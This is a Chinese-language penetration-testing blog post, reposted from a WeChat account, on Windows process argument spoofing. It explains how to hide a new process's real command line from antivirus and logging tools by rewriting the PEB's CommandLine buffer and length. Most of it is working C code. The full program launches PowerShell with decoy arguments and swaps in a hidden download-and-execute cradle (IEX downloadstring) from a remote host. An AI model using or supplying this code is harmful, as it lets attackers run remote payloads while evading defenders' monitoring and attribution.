Part1命令行参数欺骗
在渗透过程中我们难免要在目标机器上执行命令,而目标机器上如果存在杀软或者类似的记录命令的程序,很可能会对我们的命令参数进行检测(例如powershell命令)或者记录,这样在我们执行某些命令时我们的攻击路径很可能就会暴露从而增加被溯源的概率。
所以今天介绍一个隐藏新生成进程的命令行参数的技术 Process Argument Spoofing
。
在开始写代码之前我们需要了解一下参数在进程中存储的位置,在Windows操作系统中,进程的参数存储在RTL_USER_PROCESS_PARAMETERS
结构中。这个结构包含了与进程相关的各种信息,如命令行参数、环境变量和当前目录等。
RTL_USER_PROCESS_PARAMETERS
结构存储在进程的PEB (Process Environment Block) 中。PEB是一个数据结构,包含了与进程相关的信息和配置。具体结构如下所示
typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
USHORT StartingPositionLeft;
USHORT StartingPositionTop;
USHORT Width;
USHORT Height;
USHORT CharWidth;
USHORT CharHeight;
USHORT ConsoleTextAttributes;
USHORT WindowFlags;
USHORT ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
SIZE_T EnvironmentSize;
SIZE_T EnvironmentVersion;
PVOID PackageDependencyData;
ULONG ProcessGroupId;
ULONG LoaderThreads;
// ... other members ...
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
这个结构体包含了一些与进程启动相关的参数,比如:
-
ImagePathName
: 一个UNICODE_STRING
,表示进程的可执行文件的路径。 -
CommandLine
: 一个UNICODE_STRING
,表示进程的命令行参数。 -
Environment
: 指向进程环境变量的指针。 -
WindowTitle
: 一个UNICODE_STRING
,表示窗口的标题(如果是一个窗口应用程序)。 -
DesktopInfo
,ShellInfo
,RuntimeData
: 其他与进程相关的信息。
可以看到其中的CommandLine
成员储存的是进程的命令行参数,可以联想到如果可以修改这个参数的值是不是可以欺骗到某些监控程序呢。
要想修改该参数就得先找到PEB地址,这时候可以用到一个查询进程相关信息的函数NtQueryInformationProcess
它允许你查询与进程相关的信息。
函数结构如下:
NTSTATUS NtQueryInformationProcess(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
根据微软文档当第二个参数为ProcessBasicInformation
时将返回一个PROCESS_BASIC_INFORMATION
结构体,其中就包含了PEB结构的信息
这里也可以通过GetThreadContext
函数获取线程的上下文信息.对于32位进程,PEB地址存储在Ebx寄存器中。对于64位进程,PEB地址存储在Rdx寄存器中。不嫌麻烦的话也可以使用下面的代码绕过NtQueryInformationProcess
获取PEB地址
DWORD_PTR GetPebAddress(HANDLE ProcessHandle)
{
BOOL isWow64 = FALSE;
DWORD_PTR PebAddress = 0;
NTSTATUS Status = 0;
// 检查目标进程是否在Wow64下运行(64位机器上的32位进程)
IsWow64Process(ProcessHandle, &isWow64);
// 如果是Wow64进程,我们需要使用Wow64线程上下文函数
if (isWow64)
{
WOW64_CONTEXT Context = { 0 };
Context.ContextFlags = CONTEXT_INTEGER;
// 获取目标进程的主线程句柄
DWORD dwThreadId = GetMainThreadIdFromProcessId(GetProcessId(ProcessHandle));
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId);
if (hThread == INVALID_HANDLE_VALUE)
{
printf("打开线程失败n");
return 0;
}
if (!Wow64GetThreadContext(hThread, &Context))
{
printf("获取线程上下文失败n");
return 0;
}
// PEB地址存储在Ebx寄存器中
PebAddress = Context.Ebx;
CloseHandle(hThread);
}
else
{
// 非Wow64进程,使用正常的线程上下文函数
CONTEXT Context = { 0 };
Context.ContextFlags = CONTEXT_INTEGER;
// 获取目标进程的主线程句柄
DWORD dwThreadId = GetMainThreadIdFromProcessId(GetProcessId(ProcessHandle));
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId);
if (hThread == INVALID_HANDLE_VALUE)
{
printf("打开线程失败n");
return 0;
}
if (!GetThreadContext(hThread, &Context))
{
printf("获取线程上下文失败n");
return 0;
}
// PEB地址存储在Rdx寄存器中
#ifdef _M_IX86
PebAddress = Context.Ebx;
#else
PebAddress = Context.Rdx;
#endif
CloseHandle(hThread);
}
return PebAddress;
}
之后再通过PEB->ProcessParameters
找到RTL_USER_PROCESS_PARAMETERS
结构的地址再通过指针可以找到CommandLine
的值。现在可以阶段性的验证一下我们的想法。如下代码:读取当前进程的PEB
地址、ProcessParameters
地址、和执行参数
int main()
{
PROCESS_BASIC_INFORMATION pbi;
ULONG returnLength;
typedef NTSTATUS(NTAPI* fnNtQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"NTDLL"), "NtQueryInformationProcess");
if (pNtQueryInformationProcess == NULL)
return FALSE;
// 获取当前进程的基本信息
NTSTATUS status = pNtQueryInformationProcess(GetCurrentProcess(),
ProcessBasicInformation,
&pbi,
sizeof(PROCESS_BASIC_INFORMATION),
&returnLength);
if (status == STATUS_SUCCESS) {
// 获取PEB的地址
printf("PebBaseAddress: %pn", pbi.PebBaseAddress);
// 获取RTL_USER_PROCESS_PARAMETERS的地址
PRTL_USER_PROCESS_PARAMETERS pProcessParameters = pbi.PebBaseAddress->ProcessParameters;
// 打印RTL_USER_PROCESS_PARAMETERS的地址
printf("RTL_USER_PROCESS_PARAMETERS address: %pn", pProcessParameters);
// 获取并打印命令行信息
UNICODE_STRING pCommandLine = pProcessParameters->CommandLine;
wprintf(L"Command Line: %.*sn", pCommandLine.Length / sizeof(wchar_t), pCommandLine.Buffer);
}
return 0;
}
使用vs直接执行,因为直接运行的所以程序没有显示参数
远程修改PEB信息
上面我们的尝试是对当前进程进行的,但是在很多情况下我们是需要创建一个新的进程并隐藏参数。所以为了完成这些步骤我们还需要了解一些其他函数
CreateProcess
创建进程的函数是CreateProcess(),这个函数的使用方法如下:
BOOL CreateProcess(
LPCTSTR lpApplicationName, // name of executable module 进程名(完整文件路径)
LPTSTR lpCommandLine, // command line string 命令行传参
LPSECURITY_ATTRIBUTES lpProcessAttributes, // SD 进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD 线程句柄
BOOL bInheritHandles, // handle inheritance option 句柄
DWORD dwCreationFlags, // creation flags 标志
LPVOID lpEnvironment, // new environment block 父进程环境变量
LPCTSTR lpCurrentDirectory, // current directory name 父进程目录作为当前目录,设置目录
LPSTARTUPINFO lpStartupInfo, // startup information 结构体详细信息(启动进程相关信息)
LPPROCESS_INFORMATION lpProcessInformation // process information 结构体详细信息(进程ID、线程ID、进程句柄、线程句柄)
);
因为需要修改新进程的信息,所以最好将进程先挂起也就是将creation flags
标志设置为CREATE_SUSPENDED
,之后要做的就是获取所创建进程的远程PEB地址,从创建的进程中读取远程PEB结构再从PEB结构中读取ProcessParameters
结构,再修改ProcessParameters.CommandLine.Buffe
的信息为要伪造的参数信息,但是要注意假参数的长度要大于或等于真参数的长度,因为如果真参数太长可能会覆盖假参数以外的字节,导致进程崩溃。
具体步骤如下:
-
首先使用
NtQueryInformationProcess
从远程进程中读取PEB
信息 -
使用
ReadProcessMemory
函数从PEB
中读取RTL_USER_PROCESS_PARAMETERS
函数参数的含义如下:
-
hProcess
:要读取内存的进程的句柄。这个句柄需要有PROCESS_VM_READ
访问权限。 -
lpBaseAddress
:你想要从目标进程中读取的内存区域的起始地址。 -
lpBuffer
:一个指向缓冲区的指针,该缓冲区用于存储从目标进程的内存中读取的数据。 -
nSize
:你想要读取的字节数。 -
lpNumberOfBytesRead
:一个指向变量的指针,该变量将接收实际读取的字节数。如果该指针为NULL
,则将忽略该参数。 -
再使用一次
ReadProcessMemory
函数从PEB
中读取ProcessParameters
结构体的值 -
使用
WriteProcessMemory
函数向ProcessParameters
结构体中的CommandLine.Buffer
写入真正的启动参数WriteProcessMemory
定义如下BOOL WriteProcessMemory(
HANDLE hProcess, // handle to process
LPVOID lpBaseAddress, // base of memory area
LPCVOID lpBuffer, // data buffer
SIZE_T nSize, // count of bytes to write
SIZE_T * lpNumberOfBytesWritten // count of bytes written
);
这里将虚拟参数设置为hehehehehe
使用 Process Hacker
发现同时监控到了真假参数
这是因为这类工具会读取从PEB+0x20的位置的_RTL_USER_PROCESS_PARAMETERS结构体内读取commandline
的length
的值,再根据这个值来判断应该读取commandline.buffer
的长度
如图所示PEB地址+0x20的位置是_RTL_USER_PROCESS_PARAMETERS
结构体,在结构体的+0x70的位置是commandline
的相关数据,我们可以修改CommandLine.Length
的值将其设定为小于实际Length
的值,就可以让某些监控程序无法读取到完整的命令参数,而操作系统则是通过'x00'来判断字符串是否结束。
可以通过如下代码来修改Length
的值
DWORD dwNewLen = 16;
//需要计算pParms.CommandLine.Length的地址
ULONG_PTR targetLengthAddress = (ULONG_PTR)peb.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length);
if (!WriteProcessMemory(Pi.hProcess, (LPVOID)targetLengthAddress, &dwNewLen, sizeof(dwNewLen), &sNmbrOfBytesWritten)) {
printf("[!] WriteProcessMemory Failed With Error : %d n", GetLastError());
printf("[i] Bytes Written : %d Of %d n", sNmbrOfBytesWritten, sizeof(DWORD));
return FALSE;
}
这里需要注意:因为命令行参数的类型是UNICODE_STRIN
类型所以如果要读取16个字符需要设置32个字节的长度。
CobaltStrike中的Argue命令就是使用的这种方法来实现的
完整代码
#include <windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <stdio.h>
int main()
{
PROCESS_BASIC_INFORMATION pbi;
ULONG returnLength;
typedef NTSTATUS(NTAPI* fnNtQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"NTDLL"), "NtQueryInformationProcess");
if (pNtQueryInformationProcess == NULL)
return FALSE;
NTSTATUS STATUS = NULL;
STARTUPINFOW Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
STARTUPINFOA si = { 0 };
si.cb = sizeof(si);
size_t bufferSize = 210;
LPWSTR szStartupArgs = new wchar_t[bufferSize];
wcscpy_s(szStartupArgs, bufferSize, L"powershell.exe hehehehhehehehehhehehehhehehehehhehehehhehhehehehehhehehehhehehehehhehehehhehehehehhehehehhehehehehhehehehhehehehehhehehehhehehehehhehehehhehehehehhehehehheheheheh ");
LPWSTR szRealArgs = new wchar_t[bufferSize];
wcscpy_s(szRealArgs, bufferSize, L" powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('http://192.168.116.128:80/a'))\" ");
WCHAR szProcess[MAX_PATH];
// 声明并初始化一个SIZE_T变量来保存实际读取的字节数。
SIZE_T sNmbrOfBytesRead = NULL;
// 将启动参数复制到szProcess数组中
lstrcpyW(szProcess, szStartupArgs);
// 创建一个新进程,该进程初始时处于挂起状态,没有窗口
if (!CreateProcessW(
NULL,
szProcess,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
L"C:\Windows\System32\",
&Si,
&Pi)) {
printf("t[!] CreateProcessA Failed with Error : %d n", GetLastError());
return FALSE;
}
printf("[+] 真实参数:"%ls"n",szRealArgs);
printf("[+] 伪造参数:"%ls"n", szStartupArgs);
printf("[+] 进程pid:"%d"n", Pi.dwProcessId);
// 获取新进程的PROCESS_BASIC_INFORMATION,这个结构中包含了PEB的地址
if ((STATUS = pNtQueryInformationProcess(Pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength)) != 0) {
printf("t[!] NtQueryInformationProcess Failed With Error : 0x%0.8X n", STATUS);
return FALSE;
}
PEB peb = { 0 };
// 从ProcessBasicInformation中找到PEB的地址
if (!ReadProcessMemory(Pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL)) {
printf("[!] ReadProcessMemory Failed With Error : %d n", GetLastError());
printf("[i] Bytes Read : %d Of %d n", sNmbrOfBytesRead, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF);
return FALSE;
}
RTL_USER_PROCESS_PARAMETERS pParms = { 0 };
sNmbrOfBytesRead = NULL;
// 从新进程的PEB中读取RTL_USER_PROCESS_PARAMETERS结构,这个结构中包含了进程的启动参数
if (!ReadProcessMemory(Pi.hProcess, peb.ProcessParameters, &pParms, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF, &sNmbrOfBytesRead) || sNmbrOfBytesRead != sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF) {
printf("[!] ReadProcessMemory Failed With Error : %d n", GetLastError());
printf("[i] Bytes Read : %d Of %d n", sNmbrOfBytesRead, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF);
return FALSE;
}
// 将真正的启动参数写入到新进程的RTL_USER_PROCESS_PARAMETERS结构中
SIZE_T sNmbrOfBytesWritten = NULL;
if (!WriteProcessMemory(Pi.hProcess, (LPVOID)pParms.CommandLine.Buffer, (LPVOID)szRealArgs, (DWORD)(lstrlenW(szRealArgs) * sizeof(WCHAR) + 1), &sNmbrOfBytesWritten) || sNmbrOfBytesWritten != (DWORD)(lstrlenW(szRealArgs) * sizeof(WCHAR) + 1)) {
printf("[!] WriteProcessMemory Failed With Error : %d n", GetLastError());
printf("[i] Bytes Written : %d Of %d n", sNmbrOfBytesWritten, (DWORD)(lstrlenW(szRealArgs) * sizeof(WCHAR) + 1));
return FALSE;
}
printf("[+] 成功写入进程参数:"%ls"n", szRealArgs);
DWORD dwNewLen = 16;
//需要计算pParms.CommandLine.Length的地址
ULONG_PTR targetLengthAddress = (ULONG_PTR)peb.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length);
if (!WriteProcessMemory(Pi.hProcess, (LPVOID)targetLengthAddress, &dwNewLen, sizeof(dwNewLen), &sNmbrOfBytesWritten)) {
printf("[!] WriteProcessMemory Failed With Error : %d n", GetLastError());
printf("[i] Bytes Written : %d Of %d n", sNmbrOfBytesWritten, sizeof(DWORD));
return FALSE;
}
ResumeThread(Pi.hThread);
//获取并打印命令行信息
UNICODE_STRING CommandLineAfter;
if (!ReadProcessMemory(Pi.hProcess, (PBYTE)peb.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine), &CommandLineAfter, sizeof(CommandLineAfter), NULL)) {
printf("[!] ReadProcessMemory failed with error: %dn", GetLastError());
return FALSE;
}
WCHAR* szCommandLineAfter = new WCHAR[CommandLineAfter.Length / sizeof(WCHAR) + 1](); // Initialize to zero
if (!ReadProcessMemory(Pi.hProcess, CommandLineAfter.Buffer, szCommandLineAfter, CommandLineAfter.Length, NULL)) {
printf("[!] ReadProcessMemory failed with error: %dn", GetLastError());
return FALSE;
}
printf("[+] Command line parameters after modification: "%ls"n", szCommandLineAfter);
return 0;
}
原文始发于微信公众号(纯爱安全):命令行参数隐藏
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论